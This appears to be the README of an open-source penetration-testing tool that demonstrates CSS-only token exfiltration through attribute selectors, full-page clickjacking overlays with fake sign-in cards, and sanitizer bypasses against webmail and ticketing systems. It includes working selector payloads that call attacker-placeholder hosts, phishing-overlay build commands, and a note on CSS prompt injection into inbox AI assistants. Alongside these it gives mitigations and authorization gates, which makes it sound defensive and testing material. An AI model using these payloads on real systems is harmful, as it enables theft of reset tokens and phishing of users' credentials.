A CSS-only exploitation and sanitizer-testing framework for applications that render untrusted HTML. Fingerprint which CSS features survive a client's HTML sanitizer, then demonstrate CSS attribute-selector data exfiltration, full-page UI redress (clickjacking), and sanitizer bypasses — with no JavaScript at all.
Built for webmail, ticketing systems, CRM notes, wikis, and server-side HTML-to-PDF pipelines.
Authorized engagements only. Delivery is gated in code on a recorded authorization reference and an exact-match recipient allowlist. See Rules of engagement.
This tool is an implementation of publicly documented research. It is not original vulnerability research — the techniques it automates were discovered and published by others, and the credit belongs to them.
Primary source: “CSS: the bomb inside your inbox” by Gareth Heyes, PortSwigger Research.
That research is the basis for the methodology this tool implements: that stripping JavaScript from untrusted HTML is not sufficient, because CSS alone provides token exfiltration, keylogging, full-page UI redress, and indirect prompt injection into any AI assistant reading the inbox. If you find this tool useful, read the original write-up first — it explains the why that this README only summarizes.
CSS attribute-selector exfiltration and CSS-based keylogging have a longer lineage in the web security community predating that article; the PortSwigger write-up is credited here as the direct source for this tool's methodology, probe taxonomy, and module breakdown, not as the origin of every primitive it uses.
The de Bruijn / Eulerian path reconstruction in
cssbomb/exfil/reconstruct.py is a standard
sequence-assembly technique from bioinformatics, applied here to the n-gram sets
a single CSS render leaks.
- What this is
- Install
- Quickstart
- Try it locally
- Reading the matrix
- Exfiltration — CSS attribute-selector token recovery
- Full-page UI redress — CSS clickjacking
- The offline lab — sanitizer bypass fuzzing
- Rules of engagement
- Commands
- FAQ
- Status
Apps strip JavaScript from untrusted HTML and stop there. But CSS alone gives an attacker token exfiltration, keylogging, full-page UI redress, and prompt injection into any assistant reading the inbox. The root cause is always the same: the sanitizer's model of the CSS differs from what the browser's CSSOM actually computes.
cssbomb implements that methodology in three layers:
| Layer | What it does | Command |
|---|---|---|
| Capability oracle | One message with ~49 independent probes reports exactly which CSS features survive a given client's sanitizer | cssbomb oracle → cssbomb matrix |
| Exploitation modules | Attribute-selector exfiltration with n-gram reconstruction; full-page UI redress | cssbomb exfil, cssbomb overlay |
| Offline sanitizer lab | 43 mutations of the same sink through DOMPurify / sanitize-html and real headless Chrome | cssbomb lab |
Everything depends on the oracle. Sending a blind exploit payload at a client you have not fingerprinted just burns a message. The capability matrix is the reusable asset — build it once per client version and it drives scoping for years.
Every verdict in this tool is three-valued, and the third value is the point. A silent probe can mean the client blocked the feature, or that remote images were never enabled, or that a prerequisite failed, or that the element never painted. Reporting the second case as "hardened" is how you write a finding-free report about a vulnerable client. Every non-client cause of silence has a dedicated canary, and when a canary is silent the affected verdicts are downgraded automatically rather than reported as hardening.
Ground truth is whether the browser actually requested the URL, not whether a string survived a sanitizer. Payloads are validated by rendering in real headless Chrome, because every measurement bug found while building this was invisible to synthetic tests and obvious the moment a browser touched the payload.
Python 3.11+, no runtime dependencies.
git clone https://github.com/l0lsec/cssbomb.git
cd cssbomb
python3 -m cssbomb selftestOptionally pip install -e . for a cssbomb entry point. Everything below works
as python3 -m cssbomb either way.
Optional, for the sanitizer lab only:
npm install dompurify jsdom sanitize-htmlcssbomb init acme-q3 \
--authorization "SOW-1234 signed 2026-08-01, contact: Dana Reyes (dana@client.tld)" \
--base https://beacon.yourdomain.tld \
--allow tester@client.tldcssbomb collect -e acme-q3 --port 443 --tls-cert fullchain.pem --tls-key key.pemcssbomb oracle -e acme-q3 --send smtp --to tester@client.tldOpen the message in the target client, enable remote images, scroll to the last row, keep the window in the foreground, and screenshot it. Then:
cssbomb matrix -e acme-q3No SMTP? Build without sending and paste the HTML into the target's compose or comment field yourself, then record it so the cleanup list stays complete:
cssbomb oracle -e acme-q3 --send manual --target "support ticket #4471"--port 443 above needs root or the equivalent capability; for anything but the
production collector use the default --port 8443 and front it with a proxy.
Kick the tires without a real target, using a loopback collector:
python3 -m cssbomb init demo \
--authorization "local demo, not a real engagement" \
--base http://127.0.0.1:8080 \
--allow tester@example.invalidIn one terminal:
python3 -m cssbomb collect -e demo --host 127.0.0.1 --port 8080In another, build a payload and open it in your default browser. The overlay is safe — no credential capture, and the visible authorization banner says so:
python3 -m cssbomb overlay build -e demo --phish-url https://attacker.example/xopen "$(ls -t ~/.cssbomb/engagements/demo/messages/overlay-*.html | head -1)"The collector terminal prints a hit line for every beacon fired. Move your
mouse over the fake sign-in card and click; you should see hover-* and
click beacons come in live. Then:
python3 -m cssbomb overlay solve -e demoShould read VALID with all four corners hit. The mixed-content warning about
plain http is normal — it only matters when the payload runs inside a real
https client.
Each exploitation module (exfil, overlay) has its own three-valued verdicts and
reports; see Exfiltration and
Full-page UI redress. The matrix statuses below apply
to cssbomb matrix specifically.
Statuses are deliberately three-valued. Reporting an INCONCLUSIVE probe as "hardened" is how you write a finding-free report about a vulnerable client.
| Status | Meaning |
|---|---|
SUPPORTED |
the beacon fired; the feature survived and applied |
BLOCKED |
silent, with every prerequisite met and every canary green |
INCONCLUSIVE |
silent for a reason that is not the client |
FIRED (CONTROL) |
a control fired; the run is invalid |
Silence has four causes and only one is "the client blocks it." Each of the other three has a canary, and when a canary is silent every BLOCKED verdict in the run is downgraded to INCONCLUSIVE rather than reported as hardening:
- Remote fetching was never enabled. Root probe
img-tag. Most mail clients block remote images until the user clicks "show images." - A prerequisite failed. Probes declare dependencies, so a silent
attr-substrunder a stripped<style>block reports INCONCLUSIVE, not BLOCKED. - The element never painted. Canary
scroll-canary, the last row. Several url()-bearing properties,border-imageamong them, only fetch when the element actually paints, so an unscrolled message reads as a hardened one. - The window was not visible. Canary
vw-1, the 1px rung of the viewport ladder, which matches any non-zero containing box. Engines throttle animations and never satisfymin-widthqueries in a hidden or minimized window.
Plus two per-probe cases: interaction probes (hover, cursor) need manual
hovering, and engine_note probes are unsupported by some engines regardless of
the sanitizer (filter-url cannot fire in Chromium at all).
Three controls must never fire. If any does, something fetched beacon URLs without matching selectors, which means a prefetching image proxy or a link scanner is in the path and no selector-conditional conclusion from that run is trustworthy:
control-nomatch— a selector that cannot matchcontrol-unreferenced— a URL that appears only in an HTML commentcontrol-unused-var— a custom property novar()consumes
Without these you will report gateway fetches as client capabilities.
vw-* measures the containing box, not the window. Compare the widest firing rung
against the real window width in your screenshot: a large gap means the message is
boxed into an iframe or a narrow reading pane, which limits cross-document reach.
scope-* proves a selector matched an ancestor of the message, which for
html/body is satisfied by the message's own document even inside an iframe.
Webmail runs over https, so http beacons are blocked as mixed content and every
probe reads as unsupported. cssbomb init and oracle warn about this; a
loopback base blocks delivery outright, since sending a message whose beacons
cannot arrive burns a send and teaches you nothing.
Use --tls-cert/--tls-key, or front the collector with a proxy and pass
--trust-proxy so the client IP comes from X-Forwarded-For.
Gates are code, not discipline:
- Authorization required. No authorization string recorded, no delivery.
- Exact-match recipient allowlist. No wildcards, no domain globs.
- Credentials from the environment only.
$CSSBOMB_SMTP_PASS, never written to the engagement file. - Interactive confirmation. Sending requires retyping the engagement name, or
an explicit
--yes. A non-interactive session without--yesrefuses. - Cleanup list. Every delivery is logged.
cssbomb burnstops the collector and prints everything you need to undo before the engagement closes.
Engagement data lives outside the repo, under ~/.cssbomb or $CSSBOMB_HOME,
because it holds recovered secrets, recipient addresses and authorization
references.
a[href*="ab"]{background-image:url(BEACON)} fetches exactly when the substring
ab occurs in an href. Emit one rule per n-gram over the token alphabet, render
once, and rebuild the value from the set of beacons that fired. Targets are
attributes in the same authenticated document the payload rendered into:
a[href] (reset, magic-link, invite tokens), input[value] (CSRF tokens,
account ids), meta[content], img[src].
Three commands, in order. plan and build never contact a target.
cssbomb exfil plan -e acme-q3 --alphabet hex --length 32 --k 2 --k 3 --k 4cssbomb exfil build -e acme-q3 --attr href --element a \
--prefix "https://client.tld/reset?t=" --alphabet hex --k 3 --length 32cssbomb exfil solve -e acme-q3The payload is delivered once, and a k chosen too small yields an ambiguous
candidate set that no amount of offline work can sharpen. plan simulates
thousands of random tokens of the right shape and prints what each k would
actually recover, next to what it costs in rules (|alphabet|^k interior plus
2·|alphabet| anchors):
| Alphabet | k | Rules | P(unique) for a 32-char token |
|---|---|---|---|
| hex | 2 | 288 | ~0% |
| hex | 3 | 4128 | ~78% |
| hex | 4 | 65568 | ~99% (over the rule ceiling) |
| base62 | 2 | 3968 | ~3% |
| base62 | 3 | 238452 | over the ceiling |
Builds above ~20k rules are refused with the number and a pointer back at
plan; raise it with --rule-ceiling only if you know the client will take it.
This is the constraint the whole module is shaped around. CSS reports that a
gram is present, never how many times it occurs. [href*="ab"] fires once
whether ab appears once or five times, so a repeated k-gram collapses two
edges into one and the true walk is no longer recoverable from the observed set
alone.
So the output is always a ranked candidate set, never a single answer, and
nothing in the measurement ranks its members — the report says so rather than
letting the first line read as the token. When --length is known, a short
reconstruction is proof that a repeat collapsed: enumeration switches from "use
every gram exactly once" to "walk exactly this many characters and use every
observed gram at least once", which puts the true value back in the set at the
cost of more candidates. Narrow what is left offline against the token's real
format or checksum, or re-run with a larger k.
Partial recovery is a finding. A confirmed first character already demonstrates that CSS with no JavaScript read an attribute out of a different element in the authenticated document. The full value changes the severity, not the class.
The naive spelling does not work, and nothing in its text says so:
a[href*="3f9"]{background-image:url(...)} /* x 4096 */Thirty of those rules match a 32-character token at the same time, on the same element, setting the same property. Last declaration wins, so one beacon fires and twenty-nine observations are lost. A string-level test cannot see it.
The default has mode therefore never puts a beacon on the victim's element. It
gives each gram its own attacker-owned 3px box and asks the question with
:has():
html:has(a[href^="https://client.tld/reset?t="][href*="3f9"]) .xn17{background-image:url(...)}4096 rules, 4096 independent boxes, nothing competing. The cost is a
prerequisite: has must be SUPPORTED in the client's capability matrix.
When it is not, --direct falls back to emitting only the families whose
members are mutually exclusive — start anchors on ::before, end anchors on
::after, presence on the element's own background — and deliberately emits no
interior grams. That recovers the first character, the last character and
presence, which is already reportable.
Every rule also carries the known prefix as a guard ([href^="PREFIX"][href*="g"]).
Without it, one unrelated link on the page contributes grams to the graph and
the reconstruction quietly assembles two values into one. Grams that lie inside
the prefix itself fire regardless of the secret; they are computed at build time
and subtracted at solve time.
Same three-valued discipline as the matrix, and for the same reason — a silent run has more than one cause:
| Status | Meaning |
|---|---|
VALID |
controls silent, payload painted, prefix present; the gram set means what it looks like |
INVALID |
a control fired. A proxy that prefetches every gram URL forges a complete recovery out of a page with no secret on it, so nothing is reconstructed |
NOT-PRESENT |
the payload painted but no element carries the prefix. A scoping result, not a hardening result |
INCONCLUSIVE |
the unconditional paint canary never fired: no remote fetching, or the message was never opened |
Recovered values are redacted by default — a hash plus first and last four.
--reveal prints them in full and writes an evidence bundle at mode 600, and is
gated on the engagement's authorization record. Nothing unredacted reaches
runs.jsonl.
Delivery is the same three-way choice as the oracle:
cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3 \
--send smtp --to tester@client.tld --yes
cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3 \
--send manual --target "ticket #4471"
cssbomb exfil build -e acme-q3 --prefix "..." --alphabet hex --k 3
# write files only, deliver by handposition:fixed with viewport dimensions escapes the message container and
covers the entire client UI. The whole overlay is wrapped in one <a> so a
single click is one navigation. No JavaScript.
Prerequisite: fixed must be SUPPORTED in the client's capability matrix.
Phase 1 already answers whether it can escape; overlay is the payload that
demonstrates the exploit on top of that answer.
cssbomb overlay build -e acme-q3 \
--phish-url https://attacker-controlled.tld/collect \
--brand "Acme Portal"cssbomb overlay solve -e acme-q3Beacons measure what a screenshot cannot — that the victim actually engaged:
| Signal | What it proves |
|---|---|
paint |
the overlay's own <a> box rendered |
reach-tl/tr/bl/br |
the fixed box reached each of the four viewport corners. Silence on a corner narrows down where the message container clipped the overlay |
hover-surface/input/button |
the victim moved their mouse across the fake surface |
click |
mousedown fired on the Continue button — the credential submit landed |
control-nomatch, control-unref |
prefetch tripwires; must never fire |
Same three-valued discipline as the matrix and exfil:
| Status | Meaning |
|---|---|
VALID |
controls silent and the paint canary fired; everything below is real |
INVALID |
a control fired. Every conclusion about painting, coverage or interaction is unsafe — a prefetch proxy produces the same beacon signature as a fully successful clickjack |
INCONCLUSIVE |
paint canary silent. The overlay never rendered, or remote fetching was never enabled; coverage and interaction are meaningless without paint |
Severity escalates automatically in the report: paint alone is capability, hover proves a victim looked, click proves they touched. No credential capture. The rules of engagement in this repo prohibit it from this module; select-keylog is the module that owns typing and is separately opt-in.
The fake sign-in card behaves like a real login form:
- Username and password are real
<input>elements. Clicking them focuses the field and the victim can type into it. Nothing is captured — the overlay is CSS-only, no JavaScript runs. - The "Continue" button is the only element that navigates. It is an
<a>carrying--phish-url; a click on it sends the victim to that URL. - The root of the overlay is a plain
<div>, not an<a>. Wrapping the whole overlay in an anchor sounds like clean clickjack but breaks the demo: click events bubble up regardless of what they hit, so a click on a form field would navigate instead of focusing. The button-only anchor keeps the navigation path deliberate.
The click beacon fires on .cbo-btn:active — the mousedown that would have
submitted credentials on a real page, and the mousedown that actually navigates
here. Hover, corners and paint measure the rest of the surface.
By default the overlay carries a small "Authorized security test (engagement)" banner in the bottom-left corner. It exists so a demo audience — anyone the client's IT team walks through the finding, anyone auditing message content after the fact — can see immediately that the surface is not a real login prompt. It is deliberate friction, not a bug.
For engagements where the payload has to look indistinguishable from a real
attack (executive-level phishing simulations, click-through rate measurement),
pass --no-banner:
cssbomb overlay build -e acme-q3 --no-banner --phish-url https://...The flag requires an authorization reference on the engagement (delivery
already does), and the build prints a stderr warning naming what was suppressed.
The HTML source always carries an <!-- cssbomb overlay: ... --> comment
with the same authorization text, so a post-facto audit of the stored message
can still identify the payload. The suppression is only against a live human
viewer, not against a content auditor.
Delivery is the same three-way choice as the oracle:
cssbomb overlay build -e acme-q3 --send smtp --to tester@client.tld --yes
cssbomb overlay build -e acme-q3 --send manual --target "ticket #4471"
cssbomb overlay build -e acme-q3 # write files only, deliver by handcssbomb lab never touches a target. It runs a corpus of 43 mutations, all of them
different spellings of the same sink, through a sanitizer and then through real
headless Chrome, and reports which spellings survived. Bypasses get developed and
regression-tested between engagements instead of during one.
cssbomb lab --list # renderer + which sanitizers are installed
cssbomb lab # every available sanitizer
cssbomb lab --sanitizer naive-regex --format md --out lab.mdTwo reference sanitizers ship with the tool and need nothing installed:
naive-regex models a hand-rolled regex allowlist (and fails the way those fail),
allowlist-strict models a correct parse-first implementation. Node adapters for
dompurify and sanitize-html activate once those packages resolve:
npm install dompurify jsdom sanitize-htmlGround truth is whether the browser actually requested the URL, not whether a string survived a sanitizer. Two measurements produce four verdicts:
| sanitized fetched | sanitized silent | |
|---|---|---|
| raw fetched | SURVIVED / BYPASS |
BLOCKED |
| raw silent | n/a | DEAD |
BYPASS is SURVIVED plus one condition: the sanitizer blocks the canonical
spelling of the same sink. Without that comparison, a sanitizer that simply permits
background-image:url() lights up every row as a bypass, so any sanitizer whose
baseline survives is reported as permissive and its rows are not bypasses.
That check matters in practice: DOMPurify and sanitize-html configured to keep
<style> and style= do not filter CSS at all, and would otherwise show 42
bypasses each.
DEAD is broken out from BLOCKED on purpose. A payload that passes a sanitizer
but does not work in the engine is a wasted send.
Both were found by rendering, and both would have produced silent false negatives across the whole corpus:
- Paint gating. Several url()-bearing properties only fetch when the element
paints, so the renderer forces a full paint with
--screenshotand lays the corpus out as a compact grid that fits inside one viewport. <style>hoisting. A leading<style>is hoisted into<head>by the HTML parser and then dropped by any fragment sanitizer that returns body content only. Every fragment is therefore prefixed with a benign node, raw and sanitized alike.
Chrome writes its screenshot and then never exits on at least some macOS builds, so the renderer waits on the artifact and on beacon quiescence rather than on process exit.
cssbomb init <name> [--authorization ...] [--base URL] [--allow ADDR]
cssbomb list | show -e <name> | probes
cssbomb collect -e <name> [--port N] [--tls-cert F --tls-key F] [--trust-proxy]
cssbomb oracle -e <name> [--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb matrix -e <name> [--run ID] [--format text|md|json] [--out FILE]
cssbomb exfil plan [--alphabet A] [--length N] [--k N ...] [--samples N]
cssbomb exfil build -e <name> [--attr href] [--element a] [--prefix STR]
[--alphabet A] [--k N] [--length N] [--no-anchors] [--direct]
[--rule-ceiling N] [--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb exfil solve -e <name> [--run ID] [--length N] [--reveal]
[--format text|md|json] [--out FILE]
cssbomb overlay build -e <name> [--phish-url URL] [--brand STR] [--tagline STR]
[--button STR] [--notice STR] [--no-banner]
[--send none|smtp|manual] [--to ADDR] [--yes]
cssbomb overlay solve -e <name> [--run ID] [--format text|md|json] [--out FILE]
cssbomb hits -e <name> [-f] [--tail N]
cssbomb lab [--list] [--sanitizer NAME] [--chrome PATH] [--format text|md|json]
cssbomb burn -e <name>
cssbomb selftest
cssbomb selftest stands up a real collector on a loopback port, builds a real
oracle, replays five different client behaviours against it, and asserts the matrix
draws the right conclusion each time: a normal render, a client that fetches
nothing, an unscrolled message, a hidden window, and a prefetching proxy. It then
checks the lab: corpus integrity, the verdict rule (including that a permissive
sanitizer yields SURVIVED rather than a false BYPASS), CSS escape resolution,
both reference sanitizers in each direction, and a Chrome end-to-end run that is
skipped with a note when no browser is present.
The exfil checks follow the same split. The pure half asserts the reconstruction
rules directly: round trips at k=2 and k=3, that anchors shrink the candidate
set, that a hand-built repeat comes back flagged COLLAPSED with the true value
still in the set, that a degenerate graph reports TRUNCATED rather than
running away, and that P(unique) is monotone in k. The end-to-end half plants
<a href="{prefix}{secret}"> next to the payload in one document, renders it in
headless Chrome, and asserts the known secret comes back as the unique
candidate with both anchors pinned and no control fired — also skipped with a
note when no browser is present.
The overlay checks follow the same split. The structural half asserts the
payload's shape: position:fixed with viewport dimensions, z-index below the
32-bit clamp, all four sensors nested inside the wrapping <a>, :hover and
:active conditional fetches present, and every probe family carries its own
beacon URL. The gate half replays each of the three-valued outcomes against a
real collector — control fired (INVALID), silent paint (INCONCLUSIVE),
paint-plus-one-corner (VALID with a partial-coverage note), and full coverage
with hover and click (VALID with the severity line escalated). The end-to-end
half plants the payload INSIDE a 180x180 overflow:hidden container and
asserts the overlay escaped to all four viewport corners of a 1400x4000
window; skipped with a note when no browser is present.
It does not replace rendering in a real browser. A synthetic replay cannot see a
cascade collision or a paint-gated fetch, and every payload bug found so far was
found by rendering in Chromium and diffing the result against the matrix. The
regressions for those bugs are asserted structurally: @import hoisting, per-probe
element ownership, base-rule specificity, and an isolation guard that fails the
build when two probes would paint into the same box.
CSS injection is when an application lets untrusted input reach a stylesheet or
style attribute that a victim's browser will parse. Unlike XSS it does not
require JavaScript to execute, so "we strip <script>" is not a mitigation.
Attribute selectors ([href^="..."]) combined with a URL-loading property
(background-image:url()) turn CSS into a conditional network request — which
is enough to read data out of the page one character at a time.
Yes. a[href*="ab"]{background-image:url(https://attacker/ab)} fires a request
to the attacker only if the substring ab appears in a link on the page.
Emit one rule per n-gram over the token's alphabet and a single render leaks the
set of n-grams the secret contains; the value is then reassembled offline. See
Exfiltration.
Not by default. DOMPurify and sanitize-html configured to keep <style> and
style= do not filter CSS at all — the offline lab reports them as
permissive, and 42 of 43 mutations survive. They are HTML sanitizers; CSS
filtering is a separate problem you have to solve separately. Run
cssbomb lab --list to check your own configuration.
In priority order, per the original research:
- Render untrusted HTML in a sandboxed, cross-origin iframe. This kills most of the class at once and is the only fix worth leading with.
- Allowlist CSS properties, do not denylist. Include custom properties
(
--*) in the allowlist logic explicitly —var()substitution happens at computed-value time and reintroduces values a name-based denylist dropped. - Block relational and state selectors:
:has,:checked,:focus,:not, attribute selectors, sibling combinators. - Strip
<select>and other interactive form elements. - Mandatory image proxy that prefetches at delivery time, plus block
data:URLs. Render-conditional fetches then reveal nothing. - Validate CSS keywords with strict character classes so escapes and comments cannot smuggle values past the parser.
- Audit client-side JS for CSS gadgets — attributes that reach
styleat runtime.
Only against systems you are explicitly authorized to test. The tool enforces this in code: no delivery without a recorded authorization reference, exact-match recipient allowlist with no wildcards, interactive confirmation on send, and a cleanup list of everything you delivered. Those gates exist because a capability probe in a real customer's mailbox is an incident, not a finding. See Rules of engagement.
No. The overlay module renders a fake login surface to demonstrate UI redress,
but nothing typed into it is captured — the payload is CSS-only and no
JavaScript runs. Credential capture would require the select-keylog module
(not yet built) plus a separate explicit authorization flag.
That is the question the tool answers rather than assumes. Clients differ wildly, which is why Phase 1 is a capability oracle rather than a payload list. Build the matrix once per client version and it drives scoping for years.
Because a string surviving a sanitizer is not the same as a payload working. The
lab measures whether the browser actually issued the request, which separates
BLOCKED (sanitizer stopped it) from DEAD (sanitizer allowed it, engine
ignored it). A payload that passes a sanitizer but does not work in the engine is
a wasted send.
Built: collector, Phase 1 oracle, capability matrix, delivery gating, cleanup,
the offline sanitizer mutation lab, attr-exfil with n-gram reconstruction,
and overlay for full-page UI redress.
Not built yet, in the order the spec recommends: select-keylog, divergence
payloads, report emitter.
Issues and pull requests welcome. python3 -m cssbomb selftest must pass; it
stands up a real collector, replays client behaviours against it, and renders in
headless Chrome where available. New payloads need a structural regression test
and, where the behaviour is only visible in a real engine, a Chrome end-to-end.
MIT. See LICENSE.
Provided for authorized security testing, defensive research, and education. Using it against systems you do not have written permission to test is illegal in most jurisdictions. The authors accept no liability for misuse.
Topics: css-injection · css-exfiltration · html-sanitizer · sanitizer-bypass · dompurify · penetration-testing · security-tools · webmail-security · clickjacking · ui-redress · attribute-selector · css-keylogger · offensive-security · appsec · bug-bounty · red-team · xss-alternative · cssom · data-exfiltration · python